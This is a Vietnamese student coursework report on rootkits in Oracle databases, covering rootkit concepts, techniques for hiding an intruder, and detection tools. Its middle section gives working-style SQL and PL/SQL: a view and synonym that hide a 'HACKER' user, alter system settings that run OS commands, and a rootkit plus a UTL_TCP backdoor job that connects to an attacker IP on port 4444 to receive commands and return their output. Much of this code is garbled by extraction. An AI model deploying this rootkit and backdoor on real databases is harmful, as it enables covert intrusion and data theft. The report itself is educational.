Tấn công rootkit trong oracle AT8A HVKTMM

50 1.3K 29
Tấn công rootkit trong oracle  AT8A HVKTMM

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Tấn công rootkit trong Oracle Rootkit trong OS không còn xa lạ với chúng ta. Chúng đã được các kẻ xâm nhập sử dụng để che giấu các dấu vết từ rất lâu. Tuy nhiên, không phải ai cũng biết rằng rootkit còn có thể được sử dụng và đang được các hacker sử dụng trong cơ sở dữ liệu, thường chứa các dữ liệu quan trọng của các công ty, tổ chức. Theo ước tính, khoảng 100 triệu người có thông tin cá nhân nằm trong tầm kiểm soát của tội phạm Internet. Lấy cắp thông tin đã trở thành một nguy cơ chính, thông tin đã trở thành mỏ vàng cho tội phạm. Thông tin cá nhân được chia thành nhiều loại với mức giá khác nhau. Ví dụ, thông tin về địa chỉ, số điện thoại, ngày sinh, số dịch vụ xã hội, số đăng ký băng lái… đều được đặt giá. Rất nhiều cơ sở dữ liệu của các công ty lớn bị xâm phạm. Nhất là các ngân hàng, nhà băng, dịch vụ thẻ thanh toán như CardSystems, Citigroup, Bank of America, DSW Shoe Warehouse… đều đã bị tội phạm nhòm ngó và gây ra thiệt hại nhất định. Oracle là hãng dẫn đầu trong thị trường cơ sở dữ liệu và thường được sử dụng ở các cơ quan, tổ chức lớn. Với khối lượng dữ liệu lớn và quan trọng. Không nghi ngờ gì, Oracle đã trở thành đích ngắm hấp dẫn trong các cuộc tấn công. Oracle database rootkit là hướng tấn công khá mới. Rootkit được cài đặt sau khi đã đột nhập thành công vào một Oracle database, để che giấu mọi dấu vết của cuộc đột nhập, và trở thành tấm bình phong che chắn sự hiện diện của attacker trong database. Người quản trị sẽ khó lòng biết được database của mình có đang bị nhìn ngó hay bị tấn công hay không, dù có sử dụng các công cụ tìm kiếm rootkit. Và vì thế không có biện pháp cải thiện hay áp dụng phương pháp tự bảo vệ, qua một thời gian dài thiệt hại sẽ rất đáng kể. Khi mà cơ sở dữ liệu là một tài nguyên vô cùng quan trọng có ý nghĩa sống còn đối với doanh nghiệp, tổ chức.

HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA CÔNG NGHỆ THÔNG TIN BÀI TẬP LỚN Môn: AN TOÀN HỆ ĐIỀU HÀNH TẤN CÔNG ROOTKIT TRONG ORACLE! Giảng viên hướng dẫn: Trần Thị Lượng Sinh viên thực hiện: - Phạm Văn Điệp Lê Quang Huy Lê Thị Khuyên Nghiêm Xuân Việt Nguyễn Thị Diệu Hương Lớp: AT8A HÀ NỘI 3/2015 HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA CÔNG NGHỆ THÔNG TIN Bài tập lớn môn: An toàn sở liệu TẤN CÔNG ROOTKIT TRONG ORACLE! Nhận xét giảng viên: Điểm chuyên cần: Điểm báo cáo: Mục Lục Mục Lục Lời nói đầu Danh mục hình ảnh Chương Tổng quan Rootkit 1.1: Hiểu biết chung mã độc hại (Malware) .3 1.2 Khái niệm Rootkit 1.3 Cách thức hoạt động Rootkit .5 1.4 Phân loại Rootkit Chương : Tấn công Rootkit Oracle 2.1 Tổng quan Oracle .8 2.2 Tấn công Rootkit Oracle 19 Chương 3: Phát rootkit .43 3.1 Phương pháp phát rootkit .43 3.2 Một số phần mềm phát diệt Rootkit 44 Kết luận hướng phát triển 46 Tài liệu tham khảo 47 Tấn công Rootkit Oracle Lời nói đầu Những năm gần đây, bảo mật vấn đề nhức nhối làm đau đầu công ty, tổ chức với tiện ích to lớn mà công nghệ thông tin, internet mang lại nguy an toàn, nguy hiểm sử dụng tiện ích tăng nhanh chóng: thực tế từ thông tin cá nhân người dùng, liệu công ty tổ chức bình thường tới bí mật quân sự, bí mật quốc gia quan trọng bị hacker đánh cắp qua internet, máy tính (Thông tin cá nhân: Hãng bảo mật Hold Security (Mỹ) vừa tiết lộ, tin tặc Nga nắm giữ tay đến 1,2 tỉ tài khoản người dùng toàn cầu Các liệu lưu trữ database công ty, tổ chức lớn bị đánh cắp nhiều tài khoản ngân hàng, chiến lược kinh doanh Bí mật quân sự, bí mật quốc gia: Các tài liệu mà cựu nhân viên tình báo Cơ quan An ninh Quốc gia Mỹ NSA cung cấp cho tạp chí Đức Der Spiegel, cho thấy gián điệp mạng Trung Quốc đánh cắp "khối lượng to lớn" thông tin quân nhạy cảm liên quan đến F-35 – máy bay tàng hình tối tân Mỹ ) Các Hackers thường lợi dụng lỗ hổng bảo mật, sử dụng Virus, Trojan, Malware để thực hành vi phá hoại, ăn cắp thông tin Tuy nhiên điều nguy hiểm hành vi ngày khó phát công ty tổ chức gần Hackers sử dụng số biện pháp che dấu hoạt động hệ thống xóa bỏ dấu vết truy cập ngày tinh vi Một số kĩ thuật Rootkit Ví dụ vụ công vào hệ sở liệu Oracle: Rootkit cài đặt sau đột nhập thành công vào Oracle database, để che giấu dấu vết đột nhập, trở thành bình phong che chắn diện attacker database Người quản trị khó lòng biết database có bị nhìn ngó hay bị công hay không Với tốc độ phát triển nhanh chóng ngày tinh vi, năm gần Rootkit xếp vào top 10 nguy bảo mật nguy hiểm Rootkit vấn đề nan giải chuyên gia bảo mật toàn cầu, nhiên Việt Nam tài liệu hiểu biết Rootkit hạn hẹp nên nhóm chúng em thực đề tài để hiểu biết thêm Rootkit Tổng kết đề tài gồm phần chính: Tổng quan Rootkit, cách thức Rootkit hoạt động Oracle số phương pháp phát Rootkit Với thời gian thực kiến thức có hạn, nhóm trau dồi, tỉ mỉ tránh khỏi thiếu sót Nhóm mong nhận góp ý thầy cô bạn đọc để nhóm hoàn thiện tốt đề tài Nhóm niềm Tấn công Rootkit Oracle nở tiếp nhận góp ý qua hòm thư: akalololala@gmail.com Nhóm em xin chân thành cảm ơn ! Nhóm sinh viên thực chuyên đề - Phạm Văn Điệp - Lê Quang Huy - Lê Thị Khuyên - Nghiêm Xuân Việt - Nguyễn Thị Diệu Hương Tấn công Rootkit Oracle Danh mục hình ảnh Hình 2.1 Kiến trúc database 10 Hình 2.2 Trước thay đổi binary 32 Hình 2.3 Sau thay đổi Binary 32 Hình 2.4 Đường dẫn thực thi Oracle 33 Hình 2.5 Đường dẫn thực thi ban đầu .34 Hình 2.6 Đường dẫn thực thi sau thực Rootkit 35 Hình 2.7 Sử dụng PL/SQL 37 Hình 2.8 Sử dụng PL/SQL 38 Chương Tổng quan Rootkit 1.1: Hiểu biết chung mã độc hại (Malware) Thuật ngữ malware từ viết tắt malicious software Malware tạo với mục đích truy cập, chỉnh sửa phá hoại software khác máy tính Malware có nhiều loại: virus, worms, Trojans, backdoor, spyware…và biến thể khác xuất ngày Mục tiêu malware thông tin nhân, liệu, tài nguyên, máy tính… ghi dấu thói quen lướt Web bạn, chúng biết đề bạn quan tâm quảng cáo mà phù hợp với ý định bạn Những malware cho phép công ty quảng cáo thiết kế pop up nắm bắt mục đích nhân Xa nữa, malware điều khiển nội dung hiển thị trình duyệt bạn Đó hijacking Các nội dung tìm kiếm hiển thị bạn bị hijacking sang trang mà malware định Điều đưa đến nhiều phiền toái với pop up liên tục nhảy ra, tệ cở thể chứa virus, worm mà vô tình kích phải chúng xâm nhập máy tính bạn Mục tiêu thứ ba, thông tin cá nhân Những thông tin dùng để đăng nhập tìa khoản ngân hàng, chuyển tiền, rút tiền Nếu bạn dùng password, hacker dùng chương trình giải mã mật Hoặc giả chương trình an ninh,dụ bạn cài vào mà có chương trình keylogger, spyware…sẵn sang lấy cắp thông tin bạn Cuối cùng, hacker lợi dụng tài nguyên hệ thống vào mục đích công hệ thống khác, ẩn nấp sau hệ thống bạn nhằm che giấu hành tung Để thực mục đích Tấn công Rootkit Oracle này, malware thực dễ dang có trợ giúp rootkit Vì malware đầu tiên cài đặt rootkit vào máy, tới lượt rootkit che giấu hành vi malware Thực tế, rootkit xấu hay tốt mục đích mà sử dụng 1.2 Khái niệm Rootkit 1.2.1 Lịch sử Rootkit Kỹ thuật Rootkit thực Nó tồn gần mười năm Đầu tiên phát triển hệ điều hành Unix-like (Solaris Linux) sau Windows Rootkit đầu tiên công khai dựa Windows vào năm 1999 Greg Hoglund-một chuyên gia bảo mật người lập trình website rootkit.con Thuật ngữ rootkit bắt nguồn từ root-mức truy nhập cao vào hệ thống, có quyền admin từ kit-một tập công cụ để che giấu chiếm quyền Việc phát Sony Rootkit (rootkit quản lý quyền số) vởi Mark Rusonovich Sysinternal khiến rootkit quan tâm cách đặc biệt nhiều người bắt đầu tìm hiển hoạt Cho tới kiện đó, rootkit khêu gợi tò mò hiểm hòa cận kề Sự kiện Sony Rootkit xảy ngày 31/10/2005 đưa rootkit thành trung tâm ý Nó chứn tỏ, hãng nghiên cứu phát triển kỹ thuật rootkit qui củ Sau kiện này, Sony phải tiến hành gỡ bỏ rootkit đĩa CD tốn khoản bồi thường không Sự kiện cho trước say xảy ra, kho mà nhà cung cấp bảo mật đưa nhiền biện pháp để chống lại kiểu nguy có thể, những người tạo malware cugnx tương ứng đáp lạo kỹ thuật ăn cấp tinh ranh Bằng cách sử dụng rootkit khả lút nó, hacker máy tính itmf cách để công Các chương trình che giấu rootkit cho thấy nguy cận kề an ninh mạng Thực tế, ngày 6/12/2005 tạp chí eweek công bố có tới 20% malware bị phát Windows XP SP2 rootkit số malware 14%, thời điển kiện Sony Rootkit số 8% 1.2.2 Định nghĩa Rootkit /ru:tkit/ công cụ phần mềm che giấu tồn file thực hoạt động Rootkit thường bên thứ ba (thường kẻ xâm nhập) dùng sau chiếm quyền truy cập vào hệ thống máy tính Các công cụ thường nhằm để che dấu liệu hệ thống, tập tin tiến trình chạy, từ giúp cho kẻ xâm nhập trì quyền truy cập vào hệ thống mà người dùng Rootkit có nhiều loại hệ điều hành Linux, Solaris phiên Microsoft Windows Một máy tính bị cài rootkit gọi bị "chiếm quyền root" ("rooted" tiếng Anh) Tấn công Rootkit Oracle Thuật ngữ "rootkit" (còn viết "root kit") lúc đầu dùng để công cụ Unix biên dịch lại "ps", "netstat", "w" and "passwd" che dấu kĩ lưỡng vết tích kẻ xâm nhập mà bình thường bị hiển thị lệnh trên, cho phép kẻ xâm nhập trì quyền "root" ("siêu người dùng") hệ thống mà người quản trị hệ thống thấy họ Ngày thuật ngữ không giới hạn hệ điều hành dựa Unix mà dùng để công cụ thực tác vụ tương tự hệ điều hành không Unix Microsoft Windows (ngay hệ điều hành tài khoản "root") 1.3 Cách thức hoạt động Rootkit 1.3.1 Chiếm quyền điều khiển Bất kỳ user hay chương trình cần truy hệ thống, kết trả mặc định tin tưởng không gợn chút nghi rootkit lợi dụng tin tưởng Đầu tiên phải chiếm quyền quản trị hệ thống để điều khiện hệ thống làm cho Vì chiếm quyền admin bước vô quan trọng định 1.3.2 Kỹ thuật Hooking Là kỹ thuật mà Rootkit sử dụng để thay đổi đường dẫn thực thi hệ điều hành - chặn lời gọi hệ thống điều chỉnh kết cho dấu vết tồn Hook chuyển hướng chương trình bình thường, sang hàm rootkit thay hàm hệ thống Cả kernel mode user mode rootkit sử dụng kỹ thuật hooking để lọc cá kết trả OS giấu tồn Các chương trình phân tích quét không phát thông tin tồn Registry, port mà rootkit sử dụng Đó chương trình dựa thông tin lấy từ OS Chúng ta không phát rootkit thông qua công cụ Task Manager, windows explorer hay regedit Windows sử dụng table để lưu trữ ghi dấu thông tin quan trọng Các table bị hook, thay đổi bẻ gẫy rootkit User mode kernel mode rootkit sử dụng kỹ thuật hook loại bị hạn chế mà chúng hook phạm vi hoạt động chúng User mode rootkit hook table phạm vi không gian địa dành cho user(các bảng IAT,EAT) chèn jump vào API mức user để thay system call sang function rootkit Có hai kiểu hook priviledge hook unpriviledge hooks User mode rootkit unpriviledge, kernel mode rootkit priviledge hook Ở kiểu hook khác quyền hệ thống sử dụng kỹ thuật hook giống Kỹ Tấn công Rootkit Oracle thuật hooking API thay đổi địa API: user mode rootkit chặn lời gọi hàm API thay đổi địa API IAT thuộc tiến trình user, sau trỏ tời rootkit function thay Windows API functions Cả user mode kernel mode rootkit sử dụng API hooking để đảm bảo OS trả kết sàng lọc, vốn bỏ rơi nất kỳ tiết lộ rootkit hay tung tích User mode rootkit cho thể chỉnh sửa table thuộc chương trình user Mỗi chương trình user có IAT riêng chưa thông tin function mà kernel thực cho Để hiệu quả, user mode rootkit phải tìm cách để thay đổi table user program điều khiển chương trình sửa chạy để cỏ thể hook API tương ững chương trình Rootkit không thiết phải hook API, API liên quan tới Ví dụ hook API Task Manager dùng để liệt kê process API mà dùng Windows Explorer để liệt kê danh sách file, folder Và phải hook API tiến trình kích hoạt nên user mode rootkit hiệu kernel mode rootkit Kernel mode rootkit cần hook cấu trúc mà tất user program sử dụng 1.4 Phân loại Rootkit Rootkit phân chia thành hai loại: user mode, kernel mode rootkit phụ thuộc vào phạm vi ảnh hưởng liệu chúng tồn nhớ hay sau khởi động lại ( ghi lên ổ đĩa) persiten non-persitent rootkit 1.4.1 User-mode rootkit kernel-mode rootkit Đây rootkit có chế điều khiển phạm vi ảnh hưởng lên hệ điều hành khác Cơ chết điều khiển thông qua đặc quyền mà giành đặc biệt quyền lớn,phạm vi ảnh hưởng tăng Bất kể chế độ nữa, rootkit dựa sở: chương trình giao tiếp với nhờ lời gọi hàm Tùy vào mức đặc quyền chương trình, tạo lời gọi trực tiếp tới kernel hay gián tiếp qua bên xử lý thứ ba đứng kernel Hay người ta gọi User mide kernel mode Rootkit mức user, mức đặc quyền thấp nhất, phải sử dụng giao duện ứng dụng chương trình API để gửi tới yêu cầu tới hệ thống Các lời gọi thông qua thư viện liên kết động mức user(DLL) để chuyển thành thông điệp mà kernel hiểu Thực tế chương trình mức user không tự chứa tất khả xử lý, phải dùng tạo system call tới kernel Ví dụ, user click chuột OK, Windows chuyển htoong tin thành system call để hệ thống xử lý Ngôn ngữ mà Window cung cấp để thực giao tiếp kernel chương trình mức user gọi API Để vận hành tốt hơn,mỗi chương trình user tạo bảng riên chứa địa tất API system function mà cần gọi tới Bảng Tấn công Rootkit Oracle gọi IAT(import address table) Gián tiếp liên lạc với kernel làm hạn chế mức ảnh hưởng user mode rootkit Lợi điểm dễ tạo, không làm hệ thống bị treo hay gặp cố Nhưng để có kết định, user mode rootkit nhiều việc phải làm Kernel mode rootkit: kernel phần mềm tương ứng với đơn vị xử lý trung tâm- não hệ điều hành,là thành phần kernel trì điểu khiển nhiều tài nguyên quan trọng, hàm thông tin nhớ, an ninh, lập lịch xử lý, giao tiếp phần cứng tất ứng dụng tất chương trình phải tương tác với kernel theo cách Và rootkit thao túng kernel, vị trí điều khiển tất Không giống user mode rootkit hoạt động Ring 3, kernel mode rootkit hoạt động Ring 0, tương tác trực tiếp với kernel Kernel mode rootkit cài đặt driver chuyển hướng system function call sang mã lập trình để thi hành 1.4.2 Persistent non-persistent rootkit Persistent rootkit: để tồn sau hệ thống khởi động rootkit phải thay đổi nội dung ổ cứng: rootkit chèn thêm mục autostart Registry, nhờ load vào nhớ tự động thực thi lần máy tính khởi động dù thay đổi vật lý làm tăng khả bị phát nhiều tiện ích hệ thống chương trình quét malware lại bỏ qua rootkit Non-persistent rootkit: tồn nhớ hệ thống khởi động lại Các chương trình mà bỏ qua việc quét nơi lưu trữ vật lý không phát rootkit Non-persister rootkit đe dọa tới mà việc khởi động lại máy tính thường xuyên Nhưng mạng server với hàng trăm máy tính client, việc reboot thường Các rootkit nằm nhớ thường lợi dụng điểm này, nữa, rootkit kiểu không để lại manh mối vật lý để bị phát Tấn công Rootkit Oracle 2.2.4.2 Thay đổi đường dẫn thực thi Đối với việc thay đổi đường dẫn thực thi, điều mà quan tâm cách thức DB oracle phân giải tên object truy Trong rootkit OS, đường dẫn tới lệnh *NIX như: ps, who, top bị bị thay đổi database, phiên bị Trojan giọ thay phiên đầu hướng tiếp cận có lợi attacker, việc kiểm tra mã checksum không phát thay đổi Ví dụ, xem xét truy vấn: Select user_name from DBA_USERS Oracle phân giải tên object user_name nào? Đầu tiên Oracle kiểm tra xem liệu có local object(table view) DBA_USERS Nếu có, object dùng cho query Nếu không Oracle tiếp tục tìm private synonym có tên kiểm tra public synonym Dựa cấu trúc đường dẫn thực thi Oracle, có số cách cho việc thi hành rootkit sau: Kiểm tra xem có object DBA_users không? Nếu có sử dụng, tìm tiếp! Hình 2.4 Đường dẫn thực thi Oracle - Tạo local object với tên giống users schema - Tạo object tham chiều tới object ban đầu(view hay table) object chứa data object ban đầu bảng DBA_USERS nên cập nhật với trigger SYS.USERS - Tạo private synonym local object 33 Tấn công Rootkit Oracle - Chỉnh sửa public synonym tạo local object Điểm bất lợi ba phương pháp đầu schema người sở hữu bị ảnh hưởng thay đổi Attacker phải tạo object khác cho tài khoản admin khác Hầu hết attacker dùng cách thứ view nguyên không bị sửa đổi áp dụng với tài khoản ngoại trừ SYS Ví dụ demo phương pháp thứ ba: Tạo private synonym local object Hình 2.5 Đường dẫn thực thi ban đầu - Tạo local object mới: o SQL> Create view dba_user2 as select *from dba_users Where username!=’HACKER’; - Tạo synonym cho object vừa tạo: o SQL> Create synonym dba_users for dba_user2; Khi đó, truy xuất tới dba_users kết truy xuất từ view dba_user2 => thông tin ‘HACKER’ bị che dấu 34 Tấn công Rootkit Oracle Hình 2.6 Đường dẫn thực thi sau thực Rootkit 2.2.4.3 Thay đổi package PL/SQL Các source code package dễ bị chỉnh sửa Hầu hết package Oracle tạo wrap bảo vệ không bị chỉnh sữa Đây lỗ hổng mà rootkit sử dụng để hoạt động Thông thường, sau tạo thủ tục lưu trữ, truy cập mã nguồn thông qua bảng SOURCE sau: SQL>SELECT text FROM USER_SOURCE SQL>WHERE name =’WRAPTEST’ order by line; Kết quả: PROCEDURE wraptest IS TYPE emp_tab PLS_INTEGER; IS TABLE OF emp%ROWTYPE All_emps emp_tab; BEGIN SELECT*BULK COLLECT INTO all_emps FROM emp; 35 INDEX BY Tấn công Rootkit Oracle FOR i IN 10 LOOP DBMS_OUTPUT.PUT_LINE(Emp Id: ‘|| all_emps(i).empno); END LOOP END; Làm để tránh điều này? Nhiều lập trình viên Oracle không load procedure vào database mà đặt vào file SQL server thực từ xa Bất kỳ truy nhập tới server đọc file này, cách bạn phần hạn chế truy nhập theo ý Còn trường hợp code để database nên wrap thành một phần package Wrapping phương pháp thay đổi mã PL/SQL dạng rõ thành ký tự mà Oracle đọc Như vậy, biên dịch thực bình thường, mà bảo vệ an toàn Nhưng hacker dùng công cụ wrap unwap để sửa đổi lại mã procedure, package với phiên Oracle không sử dụng checksum 2.2.4.4 PL/SQL Native compilation Khi tạo chương trình PL/SQL Oracle 8i, Oracle lưu source code byte code compile vào data dictionary Phân tích kiểm duyệt tạo byte code diễn tạo object Khi thực thi chương trình PL/SQL interpreter database server đọc byte code thực lệnh vận hành định Điều tránh phải phân tích, kiểm tra cú pháp bước khác thời điểm runtime Sang Oracle 9i, có thêm lựa chọn biên dich PL/SQL native thay tạo byte code cho interpreter Bắt đầu từ Oracle 9i biên bịch procedure PL/SQL sang mã máy database server Oracle thông báo sử dụng procedure biên dịch sang ngôn ngữ nguyên thủy giúp giảm thời gian làm việc với PL/SQL tới 10 lần Khi tạo chương trình PK/SQL có native compilation, Oracle lưu source code data dictionary thực việc phân tích kiểm duyệt bình thường tạo object Nếu code hợp lệ, code tạo file nguồn C gọi trình biên dịch linker C để tạo file thư viện chia sẻ cho chương trình PL/SQL Nghĩa file dll/ lib thực thi thay package PL/SQL ban đầu Trong đó, trước phiên 10g, Oracle không quản lý gile hệ thống file OS Kể từ 10g, file ddl/ lib lưu database Nhưng đủ để thực số thao tác định Khá dễ dàng sử dụng PL/SQL native để thực thi lệnh OS thông qua lệnh ‘alter system’ Ví dụ: Alter system set plsql_native_make_utility=’calc.exe’; 36 Tấn công Rootkit Oracle Alter system set Plsql_native_make_file_name=’c:\temp\mymakefile.mk’; Alter system set plsql_native_library_dir=’c:\temp\plsql_libs’; Sau lần biên dịch mã PL/SQL, Oracle bắt đầu trình biên dịch PL/SQL, tức gọi tới tiện ích calculator Windows Ví dụ, cài đặt backdoor package my procedure Biên dịch sang mã máy Được file c dll Hình 2.7 Sử dụng PL/SQL Sau đó, gỡ backdoor khỏi package, biên dich lại lần thay file biên dich phiên backdoor trước Package database không bị backdoor lần gọi tới package, backdoor hacker lại chạy 37 Tấn công Rootkit Oracle Hình 2.8 Sử dụng PL/SQL 2.2.5 Mô tả công Oracle sử dụng Rootkit kết hợp với Backdoor Để lấy liệu từ database, cách thức phù hợp kết hợp rootkit database backdoor database Backdoor cho phép attacker thực câu lệnh truy vấn database từ xa nhận hồi đáp từ server Attacker rõ ràng không muốn hành vi bị DBA phát hiện, attacker thường kết hợp cài backdoor với rootkit để che giấu hoạt động backdoor Ở tạo chương trình backdoor, sủ dụng chức network có sẵn để mở kết nối tới vị trí attaker Chương trình đọc kết nối thực câu lệnh attacker gửi tới Sau gửi lại kết thực câu lệnh Chương trình backdoor lập lịch, sử dụng chức job để kết nối bị database instance bị restart attacker kết nối thời điểm sau Để tránh bị phát hiện, kết nối backdoor attacker mã hóa đóng gói theo cách nà nhằm tránh phát hệ thống IDS,ÍP Backdoor cài đặt database server, backdoor chạy host attacker giao tiếp qua giao thức TCP/IP Backdoor console lắng nghe TCP port xác định trước, đợi kết nối từ backdoor Chúng ta tạo rootkit backdoor mã PL/SQL 38 Tấn công Rootkit Oracle 2.2.5.1 Tạo rootkit Oraclerootkit.sql Mã tạo function để chỉnh sửa data dictionary view Dba_jobs, dba_jobs_running Ku$_job_view để che giấu backdoor job Function inject vào lỗ hổng SQL injection Code ẩn connection backdoor backdoor console: CREATE OR REPLACE FUNCTION CURRENT_USER AS ins_rootkit RETURN VARCHAR2 AUTHID PRAGMA AUTONOMOUS_TRANSACTION; BEGIN Code ẩn connection backdoor backdoor console sys.dba_jobs: EXECUTE IMMEDIATE ‘CREATE OR REPLACE FORCE VIEW “SYS”.DBA_JOBS” (“JOB”, “LOG_USER”,”PRIV_USER”,”SCHEMA_USER”,”LAST_DATE”,”LAST _SEC”,”THIS_DATE”, “THIS_SEC”,”NEXT_DATE”,”NEXT_SEC”,”TOTAL_TIME”, “BROKEN”,”INTERVAL”, “FAILURES”,”WHAT”,”NLS_ENV”,”MISC_ENV”,”INSTANCE”) AS Select JOB, SHEMA_USER, lownerLOG_USER, powner PRIV_USER, cowner LAST_DATE, substr(to_char(last_date,”HH24:MI:SS”)1,8) LAST_SEC, THIS_DATE,substr(to_char(this_date,”HH24:MI:SS”),1,8)THIS_SEC,j.feil d1 INSTANCE From sys.job$ j, v$lock v Where v.type = “JQ” and j.job(+)= v.id2 and j.what not like “DECLARE 1_cn UTL_TCP.CONNECTION;%”’; Code ẩn connect backdoor backdoor console sý.ku$_job_t: EXECUTE IMMEDIATE ‘CREATE OR REPLACE FORCE VIEW “SYS”.”KU$_JOB_VIEW” OF “SYS”.”KU$_JOB_T” WITH OBJECT IDENTIFIER (powner_id) AS select “1”,”0”, 39 Tấn công Rootkit Oracle u.user#, j.powner, j.lowner, j.cowner, j.job, TO_CHAR(j.last_date,”YYYY-MM-DD:HH24:MI:SS”), TO_CHAR(j.this_date,”YYYY-MM-DD:HH24:MI:SS), TO_CHAR(j.next_date,”YYYY-MM-DD:H24:MI:SS), j.flag, j.failures, REPLACE(j.interval#,”””’,”””””””), REPLACE(j.what,”””,””””””), REPLACE(j.nlsenv,”””,”””””), j.env, j.field1, j.charenv from sys.job$ j, sys.user$ u where j.powner=u.name and j.what not likle “DECLARE 1_cn UTL_TCP.CONNECTION;%”’; COMMIT; RETURN”; END; 2.2.5.2 Tạo OracleBackdoor.sql Mã tạo function thực job đọc command từ host attacker, thực thi chúng gửi command output trở cho attacker Tạo function ins_backdoor thực thi với quyền user gọi nó, function có đặc tính autonomous transaction để sau sử dụng SQL injection CREATE OR REPLACE FUNCTION ins_backdoor RETURN VARCHAR2 AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; Job_id NUMBER; BEGIN Đưa job sử dụng chức job package dbms_job Để kết nối tcp/ip với backdoor console sử dụng package chuẩn utl_tcp Oracle: DBMS_JOB.SUBMIT(job_id, ‘DECLARE 1_cn 40 Tấn công Rootkit Oracle UTL_TCP.CONNECTION; 1_ret_valPLS_INTEGER; 1_sqlstm VARCHAR2(320000); 1_thercursor INTEGER; 1_columnvalue VARCHAR2(2000); 1_status INTEGER; 1-colcnt NUMBER DEFAULT 0; 1_desc_t DBMS_SQL.DESC_TAB; BEGIN Mở kết nối tới hót attacker nơi đặt backdoor console.Trong scntp 192.268.2.100,TCP port 4444 1_cn:=UTL_TCP.OPEN_CONNECTION(“192.168.2.100,4444,1521); Lấy thông tin database gửi qua kết nối TCP dạng XML; SELECT DBID,NAME INTO 1_colcnt,1_sqlstm FROM V$DATABASE; SEL.ECT banner INTO 1_colcnt,1_columnvalue FROM V$VERSION WHERE ROWNUM=1; 1_ret_val:=UTL_TCP.WRITE_LINE(1_cn, “”); LOOP 1_sqlstm :=UTL_TCP.GET_LINE(1_cn, TRUE); EXIT WHEN UPPER(1_sqlstm)=”EXIT”; BEGIN 1_thecursor:=DBMS_SQL.OPEN_CURSOR; Nếu câu lệnh SQL nhận Select,đầu tiên lấy tất tên cột gửi chúng để backdoor console hiển thị column header tập trung IF(SUBSTR(LTRIM(1_sqlstm)), 1, 7))=”SELECT”THEN DBMS_SQL.PARSE(1_thecursor,1_sqlstm,DBMS_SQL.NATIVE); DBMS_SQL.DESCRIBE_COLUMNS(1_thecursor,1_colcnt,1_dese_t); 41 Tấn công Rootkit Oracle FOR I IN 1_colcnt LOOP 1_ret_val:= UTL_TCP.WRITE_LINE(1_cn,”” || 1_desc_t(i).col_name); DBMS_SQL.DEFINE_COLUMN(1_thecursor, I,1_columnvalue,2000); 42 Tấn công Rootkit Oracle Chương 3: Phát rootkit 3.1 Phương pháp phát rootkit Có hai cách để phát rootkit máy bị nhiễm: quét theo dõi kiện 3.1.1 Quét Phương pháp phát rootkit nói chung thường so sánh trạng thái trước sau hệ thống để tìm điểm khác biệt, thường có kiểu so sánh sau: • So sánh danh sách tệp hệ thống với hệ thống • So sánh danh sách tệp có với NTFS Master File Table • So sánh cỏc khóa registry với mẫu • So sánh danh sách tiến trình dịch vụ sử dụng nhiều hàm hệ thống khác • So sánh danh sách tiến trình dịch vụ kỹ thuật chèn tiến trình rootkit • Phát việc sử dụng ADS • So sánh trạng thái bảng dịch vụ hệ thống • Kiểm tra phần tử bảng gọi dịch vụ hệ thống có nằm dải địa cỏc mụ đun liên quan hay không • Dũ tìm theo chữ kí rootkit vùng nhớ kernel Kĩ thuật quét sử dụng phương pháp so sánh cách nhìn hệ thống sử dụng công cụ mức người dùng với cách nhìn từ bên lõi HĐH Nếu có dấu hiệu che giấu nào, thành phần phải lên bên lõi hình người dùng Gần có nhiều chương trình đảm nhiệm chức quét Về mặt lý thuyết phương pháp tốt – rootkit giấu tài nguyên hệ thống, cách tốt để phát rootkit tìm kiếm bị che giấu Tuy nhiên có vài nhược điểm Nhược điểm đầu tiên thân HĐH có lỗi việc quét bị rootkit qua mặt Khả xảy nguy phụ thuộc vào cụ thể trình quét thân rootkit thực thi Thường lõi HĐH Windows không mô tả công khai khó đảm bảo tiến trình quét đạt kết xác Hơn nữa, rootkit tránh bị phát cách che giấu tất tiến trình ngoại trừ tiến trình phát rootkit 43 Tấn công Rootkit Oracle 3.1.2 Theo dõi kiện Một cách khác sử dụng hệ thống hoạt động dựa kiện liên tục theo dõi để nắm rootkit vào thời điểm tiến hành tác vụ cài đặt Những chương trình thường gọi hệ thống chống xâm nhập (IPS) Việc theo dõi từ phía HĐH cần thiết Các hệ thống IPS theo dõi mức người dùng thực bị rootkit công chương trình khác người dùng Những hệ thống phát khóa tác vụ nạp module HĐH Tuy nhiên việc khóa hết module lại điều phi thực tế - nhiều chương trình hợp lệ khác tiến hành cài đặt module lõi Ví dụ, số trình diệt virus sử dụng module lõi để thực tác vụ quét theo yêu cầu Vẫn đưa giải pháp hay tính thêm khả cân nhắc liệu việc nạp module có phải xấu hay không cách xem xét thuộc tính khác cài đặt chương trình liên quan Trong rootkit trình duyệt virus có chung số tác vụ (như cài đặt module lõi) phần lớn đặc tính khác chúng lại hoàn toàn không giống Ví dụ, rootkit cố gắng “lánh mặt” cách không tạo cửa sổ trực quan, trình diệt virus lại muốn cho người dùng biết diện chương trình Trình rootkit cài keylogger (bắt bàn phím gửi thông tin tới người dùng khác) chương trình diệt virus hoàn toàn không làm Bằng cách tổng hợp đặc tính hành động khác (được lựa chọn cẩn thận để bắt thao tác chung liên quan tới phần mềm mục đích xấu), việc phát chương trình rootkit hoàn toàn thực với độ tin tưởng cao Thực tế, phương pháp có tên “đánh giá qua hành động” áp dụng rộng rãi để phát lớp mã mục đích xấu Trojan hay phần mềm gián điệp Vì dựa nguyên lý đánh giá, tích lũy kinh nghiệm, hệ thống kiểu mắc lỗi (coi chương trình bình thường phần mềm xấu) Cách giải đơn giản với vấn đề cần phải có danh sách cấm cho lỗi chung thường gặp 3.2 Một số phần mềm phát diệt Rootkit Hầu hết chương trình dùng phát rootkit đòi hỏi người dùng có biết chút kĩ thuật Tuy nhiên, có hai chương trình dễ sử dụng hai chương trình hiệu - Chương trình đầu tiên Panda Anti-Rootkit http://www.pandasoftware.com/products/antirootkit/ 44 tải Tấn công Rootkit Oracle Đây chương trình miễn phí, tương thích Windows 2K, XP, có dung lượng 353KB Panda Anti-Rootkit phần mềm dành cho người dùng thông thường, khả phát mà giúp loại bỏ rootkit hiệu Panda Anti-Rootkit có dung lượng nhỏ, không cần cài đặt mặc dầu bạn phải đăng ký website Panda trước tải xuống Chúng đề nghị bạn nên tải sản phẩm tiến hành thao tác quét máy tính Nếu không tải từ website Panda, bạn sử dụng đường link sau 